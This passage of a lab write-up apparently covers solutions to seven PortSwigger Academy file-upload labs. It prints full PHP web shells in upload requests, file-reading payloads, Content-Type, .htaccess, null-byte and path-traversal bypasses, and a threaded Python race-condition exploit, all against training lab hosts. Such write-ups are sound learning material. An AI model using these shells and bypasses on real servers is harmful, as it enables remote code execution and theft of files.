Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0aeb00e4030de4cc8158ed55003c00de.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Cookie: session=IxXI6VWr8pzru7ELqgN9zlfsB8n4Mo0H

------WebKitFormBoundaryRN2qajyTK7vyBV5r
Content-Disposition: form-data; name=&quot;avatar&quot;; filename=&quot;shell.php&quot;
Content-Type: application/octet-stream

&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;title&amp;gt;example webshell&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;?php
system($_GET[&apos;cmd&apos;]);
?&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
------WebKitFormBoundaryRN2qajyTK7vyBV5r
Content-Disposition: form-data; name=&quot;user&quot;

wiener
------WebKitFormBoundaryRN2qajyTK7vyBV5r
Content-Disposition: form-data; name=&quot;csrf&quot;

nlhQonXV4LBKhQxttXGS50odez98jR3T
------WebKitFormBoundaryRN2qajyTK7vyBV5r--
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;So now we just have to go to &lt;code&gt;/files/avatars/shell.php&lt;/code&gt; location execute this file with its &lt;code&gt;cmd&lt;/code&gt; parameter with any command we want,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;https://0aeb00e4030de4cc8158ed55003c00de.web-security academy.net/files/avatars/shell.php?cmd=id
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251112233221.png&quot; alt=&quot;Pasted image 20251112233221.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I tried to run &lt;code&gt;id&lt;/code&gt; and it worked so now we can grep &lt;code&gt;secret&lt;/code&gt; and submit and by submitting it we will solve the lab,&lt;/li&gt;
&lt;li&gt;This is particular URL with parameters,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;https://0aeb00e4030de4cc8158ed55003c00de.web-security-academy.net/files/avatars/shell.php?cmd=cat%20/home/carlos/secret
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251112233325.png&quot; alt=&quot;Pasted image 20251112233325.png&quot; /&gt;
&lt;img src=&quot;images/Pasted_image_20251112233352.png&quot; alt=&quot;Pasted image 20251112233352.png&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!hint]
This is basically chaining of vulnerability like we have &lt;code&gt;file upload vulnerability&lt;/code&gt; and we use it to upload shell and get &lt;code&gt;RCE vulnerability&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Lab 2: Web shell upload via Content-Type restriction bypass&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251112233537.png&quot; alt=&quot;Pasted image 20251112233537.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;To avail the upload functionality we have to log in using given creds &lt;code&gt;wiener:peter&lt;/code&gt;,&lt;/li&gt;
&lt;li&gt;Here we can see avatar upload appears and we just have to upload basic &lt;code&gt;php webshell&lt;/code&gt; and get the &lt;code&gt;secret from carlos user&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;one catch is that there is &lt;code&gt;content-type&lt;/code&gt; restriction which prevent users to upload any unexpected file but it is user-controllable so we can bypass it.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251112233816.png&quot; alt=&quot;Pasted image 20251112233816.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /my-account/avatar HTTP/1.1
Host: 0aca00a50467484a866109f400ec00aa.web-security-academy.net
Connection: keep-alive
Content-Length: 552
Cache-Control: max-age=0
sec-ch-ua: &quot;Chromium&quot;;v=&quot;142&quot;, &quot;Google Chrome&quot;;v=&quot;142&quot;, &quot;Not_A Brand&quot;;v=&quot;99&quot;
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: &quot;Windows&quot;
Origin: https://0aca00a50467484a866109f400ec00aa.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH8ycy7YePiWBIJlF
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0aca00a50467484a866109f400ec00aa.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Cookie: session=GAGbcXGatHwFgukdKaG4xpEjHhd3xcgH

------WebKitFormBoundaryH8ycy7YePiWBIJlF
Content-Disposition: form-data; name=&quot;avatar&quot;; filename=&quot;shell.php&quot;
Content-Type: application/octet-stream

&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;title&amp;gt;example webshell&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;?php
system($_GET[&apos;cmd&apos;]);
?&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
------WebKitFormBoundaryH8ycy7YePiWBIJlF
Content-Disposition: form-data; name=&quot;user&quot;

wiener
------WebKitFormBoundaryH8ycy7YePiWBIJlF
Content-Disposition: form-data; name=&quot;csrf&quot;

tF3ThN8bOP8Fnzsz4HfOaCP6K04TcHwi
------WebKitFormBoundaryH8ycy7YePiWBIJlF--
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251112233918.png&quot; alt=&quot;Pasted image 20251112233918.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This gives me error, ==Sorry, file type application/octet-stream is not allowed Only image/jpeg and image/png are allowed Sorry, there was an error uploading your file.==&lt;/li&gt;
&lt;li&gt;So maybe we can change &lt;code&gt;content-type&lt;/code&gt; to png and it bypass the restriction and upload it, and it works perfectly.&lt;/li&gt;
&lt;li&gt;This time i used another payload to read file directly to save time,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo file_get_contents(&apos;/home/carlos/secret&apos;); ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251112235251.png&quot; alt=&quot;Pasted image 20251112235251.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://0aca00a50467484a866109f400ec00aa.web-security-academy.net/files/avatars/shell.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251112235431.png&quot; alt=&quot;Pasted image 20251112235431.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251112235447.png&quot; alt=&quot;Pasted image 20251112235447.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lab 3: Web shell upload via path traversal&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251112235556.png&quot; alt=&quot;Pasted image 20251112235556.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;everything other things such as login and image upload functionality is same as previous lab,&lt;/li&gt;
&lt;li&gt;But In this lab, we have to exploit &lt;code&gt;path traversal&lt;/code&gt; vulnerability and by chaining it we have to execute out shell,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251112235854.png&quot; alt=&quot;Pasted image 20251112235854.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If we upload same shell same as before it works but this just print the content of php,&lt;/li&gt;
&lt;li&gt;here is the &lt;code&gt;shell.php&lt;/code&gt;,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo file_get_contents(&apos;/home/carlos/secret&apos;); ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251113000023.png&quot; alt=&quot;Pasted image 20251113000023.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251113000257.png&quot; alt=&quot;Pasted image 20251113000257.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;So i tried to add &lt;code&gt;../&lt;/code&gt; and i URL encode &lt;code&gt;/&lt;/code&gt; it and then upload the shell and when i try to access &lt;code&gt;shell.php&lt;/code&gt; it renders,&lt;/li&gt;
&lt;li&gt;Here is why it doesn&apos;t works first case and works in second case,
&lt;ol&gt;
&lt;li&gt;It doesn&apos;t render it because it saved in &lt;code&gt;static&lt;/code&gt; folder where it treated as just static text.&lt;/li&gt;
&lt;li&gt;But when we do &lt;code&gt;../&lt;/code&gt; it upload the file in parent directory and this &lt;code&gt;static&lt;/code&gt; thing fails and we can execute it, although doing directly &lt;code&gt;../&lt;/code&gt; this not worked because &lt;code&gt;/&lt;/code&gt; is sanitized in backend so i just encode it with &lt;code&gt;%2F&lt;/code&gt; and it works.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;Example vulnerable flow (pseudo)&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;// VULNERABLE
$uploaddir = &apos;/var/www/app/static/avatars&apos;;
$filename = $_FILES[&apos;avatar&apos;][&apos;name&apos;];         // receives &quot;..%2Fshell.php&quot;
if (strpos($filename, &apos;..&apos;) !== false) abort; // naive check (fails here if filename still encoded)
$dest = $uploaddir . &apos;/&apos; . $filename;         // framework decodes later -&amp;gt; becomes &apos;/var/www/app/static/avatars/../shell.php&apos;
// move_uploaded_file writes file to /var/www/app/static/shell.php (which may be inside document root)

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;------WebKitFormBoundaryACFkCQsTbpDaRYgF
Content-Disposition: form-data; name=&quot;avatar&quot;; filename=&quot;..%2Fshell.php&quot;
Content-Type: application/octet-stream
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251113002309.png&quot; alt=&quot;Pasted image 20251113002309.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;And now when we access the file we can see &lt;code&gt;secret&lt;/code&gt;, and also we can see that file is in &lt;code&gt;/files&lt;/code&gt; not in &lt;code&gt;/files/avatars&lt;/code&gt; means &lt;code&gt;/avatars&lt;/code&gt; is static directory.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251113002339.png&quot; alt=&quot;Pasted image 20251113002339.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251113002808.png&quot; alt=&quot;Pasted image 20251113002808.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lab 4: Web shell upload via extension blacklist bypass&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251113002907.png&quot; alt=&quot;Pasted image 20251113002907.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;There will some &lt;code&gt;blacklisting&lt;/code&gt; defense in this lab so we have to bypass that using different techniques,&lt;/li&gt;
&lt;li&gt;Same as previous lab we have to login using given creds,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251113003108.png&quot; alt=&quot;Pasted image 20251113003108.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Now we capture upload req, and as expected it give &lt;code&gt;403&lt;/code&gt; on shell upload,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;POST /my-account/avatar HTTP/1.1
Host: 0adb00c904b6a72282c9515400e900f3.web-security-academy.net
Connection: keep-alive
Content-Length: 474
Cache-Control: max-age=0
sec-ch-ua: &quot;Chromium&quot;;v=&quot;142&quot;, &quot;Google Chrome&quot;;v=&quot;142&quot;, &quot;Not_A Brand&quot;;v=&quot;99&quot;
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: &quot;Windows&quot;
Origin: https://0adb00c904b6a72282c9515400e900f3.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAGr6ncFnZKKh51ed
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0adb00c904b6a72282c9515400e900f3.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Cookie: session=gw5C1ORibabx8X7n4iUK3uWG2QEdW0u6

------WebKitFormBoundaryAGr6ncFnZKKh51ed
Content-Disposition: form-data; name=&quot;avatar&quot;; filename=&quot;shell.php&quot;
Content-Type: application/octet-stream

&amp;lt;?php echo file_get_contents(&apos;/home/carlos/secret&apos;); ?&amp;gt;
------WebKitFormBoundaryAGr6ncFnZKKh51ed
Content-Disposition: form-data; name=&quot;user&quot;

wiener
------WebKitFormBoundaryAGr6ncFnZKKh51ed
Content-Disposition: form-data; name=&quot;csrf&quot;

Jjk83eNf6hSjXTWkM7e0IC7wTd8TtuGd
------WebKitFormBoundaryAGr6ncFnZKKh51ed--
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;here is the &lt;code&gt;shell.php&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo file_get_contents(&apos;/home/carlos/secret&apos;); ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251113003200.png&quot; alt=&quot;Pasted image 20251113003200.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;So now we have to brute force the &lt;code&gt;.php&lt;/code&gt; extension and try those which can bypass blacklist,&lt;/li&gt;
&lt;li&gt;This is are some of them,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;.php
.php3
.php4
.php5
.php7
.phtml
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251113004056.png&quot; alt=&quot;Pasted image 20251113004056.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This many are works perfectly and we got &lt;code&gt;200&lt;/code&gt; on it,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;.php3
.php4
.php5
.php7
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251113004138.png&quot; alt=&quot;Pasted image 20251113004138.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;when i tried to access one of these it again don&apos;t render and show me plaintext so i tried previous trick &lt;code&gt;%2F&lt;/code&gt; but not worked,&lt;/li&gt;
&lt;li&gt;Because maybe this is properly sanitized that you can&apos;t do &lt;code&gt;path traversal&lt;/code&gt; so even if i upload php shell i can&apos;t able to execute it.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251113005417.png&quot; alt=&quot;Pasted image 20251113005417.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;So i tried another technique which is uploading &lt;code&gt;.htaccess&lt;/code&gt; file with our own definition of another custom extension with its &lt;code&gt;content-type&lt;/code&gt;,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;AddType application/x-httpd-php .l33t
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;POST /my-account/avatar HTTP/1.1
Host: 0adb00c904b6a72282c9515400e900f3.web-security-academy.net
Connection: keep-alive
Content-Length: 456
Cache-Control: max-age=0
sec-ch-ua: &quot;Chromium&quot;;v=&quot;142&quot;, &quot;Google Chrome&quot;;v=&quot;142&quot;, &quot;Not_A Brand&quot;;v=&quot;99&quot;
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: &quot;Windows&quot;
Origin: https://0adb00c904b6a72282c9515400e900f3.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDM4TB2X7iyGMaA2B
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0adb00c904b6a72282c9515400e900f3.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Cookie: session=gw5C1ORibabx8X7n4iUK3uWG2QEdW0u6

------WebKitFormBoundaryDM4TB2X7iyGMaA2B
Content-Disposition: form-data; name=&quot;avatar&quot;; filename=&quot;.htaccess&quot;
Content-Type: application/octet-stream

AddType application/x-httpd-php .l33t

------WebKitFormBoundaryDM4TB2X7iyGMaA2B
Content-Disposition: form-data; name=&quot;user&quot;

wiener
------WebKitFormBoundaryDM4TB2X7iyGMaA2B
Content-Disposition: form-data; name=&quot;csrf&quot;

Jjk83eNf6hSjXTWkM7e0IC7wTd8TtuGd
------WebKitFormBoundaryDM4TB2X7iyGMaA2B--
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251113005220.png&quot; alt=&quot;Pasted image 20251113005220.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Now tried to upload &lt;code&gt;shell.php&lt;/code&gt; by changing &lt;code&gt;.php&lt;/code&gt; to &lt;code&gt;l33t&lt;/code&gt; and it successfully take it,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251113005135.png&quot; alt=&quot;Pasted image 20251113005135.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;And when we accessed it, it rendered perfectly,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;https://0adb00c904b6a72282c9515400e900f3.web-security-academy.net/files/avatars/shell.l33t
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251113004918.png&quot; alt=&quot;Pasted image 20251113004918.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251113005105.png&quot; alt=&quot;Pasted image 20251113005105.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lab 5: Web shell upload via file extension&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251114152323.png&quot; alt=&quot;Pasted image 20251114152323.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We have to login using using given creds to avail upload functionality,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251114152836.png&quot; alt=&quot;Pasted image 20251114152836.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;In normal uploading &lt;code&gt;shell.php&lt;/code&gt; it fails and throws &lt;code&gt;403 forbidden&lt;/code&gt; error,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251114153723.png&quot; alt=&quot;Pasted image 20251114153723.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;First thing that comes in mind is that to try all &lt;code&gt;php&lt;/code&gt; extensions with and without little obfuscation,&lt;/li&gt;
&lt;li&gt;So for that i used this wordlist, &lt;a href=&quot;https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Extension%20PHP/extensions.lst&quot;&gt;PHP Extensions List by PayloadsAllTheThings&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Setting up intruder and start the attack...&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;.jpeg.php
.jpg.php
.png.php
.php
.php3
.php4
.php5
.php7
.php8
.pht
.phar
.phpt
.pgif
.phtml
.phtm
.php%00.gif
.php\x00.gif
.php%00.png
.php\x00.png
.php%00.jpg
.php\x00.jpg
.inc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251114154932.png&quot; alt=&quot;Pasted image 20251114154932.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251114155054.png&quot; alt=&quot;Pasted image 20251114155054.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This 4 succeed and got &lt;code&gt;200 OK&lt;/code&gt; and file successfully uploaded,&lt;/li&gt;
&lt;li&gt;What does this means,
&lt;ul&gt;
&lt;li&gt;This is called &lt;code&gt;Null Byte Injection&lt;/code&gt; in which we put null byte after &lt;code&gt;.php&lt;/code&gt; extension and then &lt;code&gt;.jpg&lt;/code&gt; so it basically get separated and server is checking that file must end with &lt;code&gt;.jpg&lt;/code&gt; which fulfilled and we pass the check.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;.php%00.png
.php\x00.png
.php%00.jpg
.php\x00.jpg
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251114155451.png&quot; alt=&quot;Pasted image 20251114155451.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;When i tried to access the &lt;code&gt;shell.php&lt;/code&gt; it executed and got the &lt;code&gt;secret&lt;/code&gt; (Note: PHP shell is same as used previous) and by submitting this we solve the lab.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251114154731.png&quot; alt=&quot;Pasted image 20251114154731.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251114155623.png&quot; alt=&quot;Pasted image 20251114155623.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lab 6: Remote code execution via polyglot web shell upload&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251114160142.png&quot; alt=&quot;Pasted image 20251114160142.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We have to log in to your own account using the following credentials: &lt;code&gt;wiener:peter&lt;/code&gt; to avail upload functionality,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251114160428.png&quot; alt=&quot;Pasted image 20251114160428.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Again tried vanilla upload technique of &lt;code&gt;shell.php&lt;/code&gt; but failed,&lt;/li&gt;
&lt;li&gt;So now we have to try something called &lt;code&gt;# polyglot web shell&lt;/code&gt; which means a &lt;strong&gt;single file that is valid in multiple formats at the same time&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GIF89a;&lt;/code&gt; is nothing but GIF file signature or magic bytes.&lt;/li&gt;
&lt;li&gt;==Server checks files magic bytes and if it match with that GIF then allow it.==&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251114162128.png&quot; alt=&quot;Pasted image 20251114162128.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I tried and it works and file uploaded successfully, and submit the &lt;code&gt;secret&lt;/code&gt; and solve the lab.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251114162318.png&quot; alt=&quot;Pasted image 20251114162318.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251114162305.png&quot; alt=&quot;Pasted image 20251114162305.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251114162549.png&quot; alt=&quot;Pasted image 20251114162549.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lab 7: Web shell upload via race condition&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251114164005.png&quot; alt=&quot;Pasted image 20251114164005.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We have to log in to my own account using the following credentials: &lt;code&gt;wiener:peter&lt;/code&gt; to avail upload functionality.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251114164157.png&quot; alt=&quot;Pasted image 20251114164157.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;So in this lab, we to exploit race condition to upload web shell and this is the vulnerable code given in hint,&lt;/li&gt;
&lt;li&gt;This is code tells that our uploaded file is first stored to &lt;code&gt;/avatars&lt;/code&gt; and then &lt;code&gt;checkViruses()&lt;/code&gt; and &lt;code&gt;checkFileType&lt;/code&gt; function invokes and if it fails then file will be delete.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$target_dir = &quot;avatars/&quot;;
$target_file = $target_dir . $_FILES[&quot;avatar&quot;][&quot;name&quot;];

// temporary move
move_uploaded_file($_FILES[&quot;avatar&quot;][&quot;tmp_name&quot;], $target_file);

if (checkViruses($target_file) &amp;amp;&amp;amp; checkFileType($target_file)) {
    echo &quot;The file &quot;. htmlspecialchars( $target_file). &quot; has been uploaded.&quot;;
} else {
    unlink($target_file);
    echo &quot;Sorry, there was an error uploading your file.&quot;;
    http_response_code(403);
}

function checkViruses($fileName) {
    // checking for viruses
    ...
}

function checkFileType($fileName) {
    $imageFileType = strtolower(pathinfo($fileName,PATHINFO_EXTENSION));
    if($imageFileType != &quot;jpg&quot; &amp;amp;&amp;amp; $imageFileType != &quot;png&quot;) {
        echo &quot;Sorry, only JPG &amp;amp; PNG files are allowed\n&quot;;
        return false;
    } else {
        return true;
    }
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Here is the problem with this code,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;move_uploaded_file()  → file exists at: avatars/shell.php  ✔
checkViruses()        → takes time (100–500ms)              ⏳
checkFileType()       → takes time (small delay)            ⏳
unlink()              → deletes file if fail                ❌
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;So for this task we have to make script which will try instantly after uploading file before it deletes it,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;import threading
import requests

TARGET = &quot;https://0a1b00b70350262080455d4c00c40005.web-security-academy.net&quot;
UPLOAD_URL = TARGET + &quot;/my-account/avatar&quot;
SHELL_URL  = TARGET + &quot;/files/avatars/shell.php&quot;

COOKIE = {
    &quot;session&quot;: &quot;qmCJXS6lmtLH2X5xl8B8XwhE6gwuF2tI&quot;
}

# PHP payload used in your request
php_payload = b&quot;&amp;lt;?php echo file_get_contents(&apos;/home/carlos/secret&apos;); ?&amp;gt;&quot;

# Full multipart-body EXACTLY as your req
def build_multipart():
    return {
        &quot;avatar&quot;: (&quot;shell.php&quot;, php_payload, &quot;application/octet-stream&quot;),
        &quot;user&quot;: (None, &quot;wiener&quot;),
        &quot;csrf&quot;: (None, &quot;MZmaj6ucabT9hqJa3OTq8Pahmw1eImlN&quot;)
    }

# Normal headers (requests auto-generates multipart boundaries)
headers = {
    &quot;User-Agent&quot;: &quot;Mozilla/5.0&quot;,
    &quot;Referer&quot;: TARGET + &quot;/my-account?id=wiener&quot;,
}

def upload_thread():
    while True:
        try:
            requests.post(
                UPLOAD_URL,
                files=build_multipart(),
                cookies=COOKIE,
                headers=headers,
                timeout=2,
            )
        except:
            pass

def trigger_thread():
    while True:
        try:
            r = requests.get(SHELL_URL, cookies=COOKIE, timeout=2)
            if &quot;secret&quot; in r.text or len(r.text.strip()) &amp;gt; 0:
                print(&quot;\n[+] RACE WON! File contents:&quot;)
                print(r.text)
                exit(0)
        except:
            pass

# Spawn race threads
for _ in range(20):       # increase to 50 if lab is slow
    threading.Thread(target=upload_thread, daemon=True).start()
    threading.Thread(target=trigger_thread, daemon=True).start()

# Keep main thread alive
while True:
    pass
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;And we successfully win the race condition and we got the &lt;code&gt;secret&lt;/code&gt; and after submitting it we solve the lab&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251114165910.png&quot; alt=&quot;Pasted image 20251114165910.png&quot; /&gt;&lt;/p&gt;
